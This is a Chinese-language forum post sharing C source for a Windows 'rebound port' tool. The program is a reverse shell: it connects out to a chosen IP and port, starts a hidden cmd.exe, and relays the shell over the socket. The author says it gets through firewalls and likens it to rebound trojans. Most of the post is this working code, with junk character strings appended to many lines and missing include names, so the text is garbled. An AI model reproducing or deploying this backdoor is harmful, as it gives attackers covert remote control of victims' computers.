社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4936阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u{si  
=T1i(M#  
/* ============================== J4<- C\=4  
Rebound port in Windows NT `Tab'7  
By wind,2006/7 [p(Y|~  
===============================*/ :)+cI?\#  
#include Tsa&R:SE  
#include 9s}--_k?F2  
h5~tsd}OU  
#pragma comment(lib,"wsock32.lib") W>Zce="_gN  
?wmr~j  
void OutputShell(); ]p~XTZgW  
SOCKET sClient; _vad>-=D*U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A2xORG&FD  
18Ty )7r'  
void main(int argc,char **argv) $ _ gMJ\{  
{ $]O\Ryf6  
WSADATA stWsaData; :g Ze>  
int nRet; Ih.o;8PpK  
SOCKADDR_IN stSaiClient,stSaiServer; Ji=E 1R  
VBOq~>V6(v  
if(argc != 3) R\iU)QP  
{ U!('`TYe  
printf("Useage:\n\rRebound DestIP DestPort\n"); _c[t.\-`]  
return; ZI1[jM{4^F  
} fPst<)  
?R";EnD  
WSAStartup(MAKEWORD(2,2),&stWsaData); vsc&$r3!5{  
C; ! )<(Vw  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |XeuqZa  
zdr?1=  
stSaiClient.sin_family = AF_INET; zD?<m J`  
stSaiClient.sin_port = htons(0); %hY+%^k.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !x>P]j7A}Y  
 +&|WC2#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zF{5!b  
{ srUpG&Bcx  
printf("Bind Socket Failed!\n"); K{ N#^L!  
return; mI}'8 .  
} @L`t/OD  
.Emw;+>  
stSaiServer.sin_family = AF_INET; )5hS;u&b  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @}#$<6|  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m|'TPy  
n *U1 M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S53[K/dZo  
{ Nhs]U`s(g  
printf("Connect Error!"); #  *\PU  
return; dq[CT  
} N1_nBQF )  
OutputShell(); Fe: 0nr9;  
} MSw/_{  
0LxA+  
void OutputShell() ;gf^;%FK  
{ Up`zVN59.  
char szBuff[1024]; ]U]{5AA6  
SECURITY_ATTRIBUTES stSecurityAttributes; gg5`\}  
OSVERSIONINFO stOsversionInfo; i4AmNRs  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Krz[ f  
STARTUPINFO stStartupInfo; NFsMc0{  
char *szShell; %A?Ym33  
PROCESS_INFORMATION stProcessInformation; SZE X;M  
unsigned long lBytesRead; {4UlJ,Z.n  
x2;92I{5C,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RoP z?,u  
6Vi #O^>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iugTXZ(  
stSecurityAttributes.lpSecurityDescriptor = 0; Z?X ^7<  
stSecurityAttributes.bInheritHandle = TRUE; !DD|dVA{  
B\9ymhx;g%  
6 :J @  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xj(&EGY:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \#  
?$9C[Kw`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); co#%~KqMu  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T5o9pm D  
stStartupInfo.wShowWindow = SW_HIDE; R|`}z"4C  
stStartupInfo.hStdInput = hReadPipe; #}l }1^$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #BF(#1:  
+Nyx2(g<m  
GetVersionEx(&stOsversionInfo); PoQ@9 A  
u.R:/H<>~  
switch(stOsversionInfo.dwPlatformId) OE W IP  
{ mq >Ag  
case 1: "@DCQ  
szShell = "command.com"; W.{#Pg1Da  
break; HX?5O$<<N  
default: EPW Iu)A  
szShell = "cmd.exe"; ,:j^EDCsaJ  
break; oljl&tuQy  
} + ,0RrD )  
G ? H`9*y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OP{ d(~+  
-&y{8<bu4H  
send(sClient,szMsg,77,0); Xfk&{zO-j  
while(1) gtJUQu p2  
{ &H`yDrg6U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yD(0:g#  
if(lBytesRead) =DUsQN!  
{ 0~Z2$`(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Cj,fP[p#7  
send(sClient,szBuff,lBytesRead,0); ZI-)'  
} Ju Kj  
else 9-I;'  
{ P*Uu)mG)G  
lBytesRead=recv(sClient,szBuff,1024,0); |&o%c/  
if(lBytesRead<=0) break; {])F%Q_#cD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >?'cZTNk]  
} ~"iCx+pr  
} /EA4-#uw  
=&< s*-l[  
return; &CG3_s<2  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五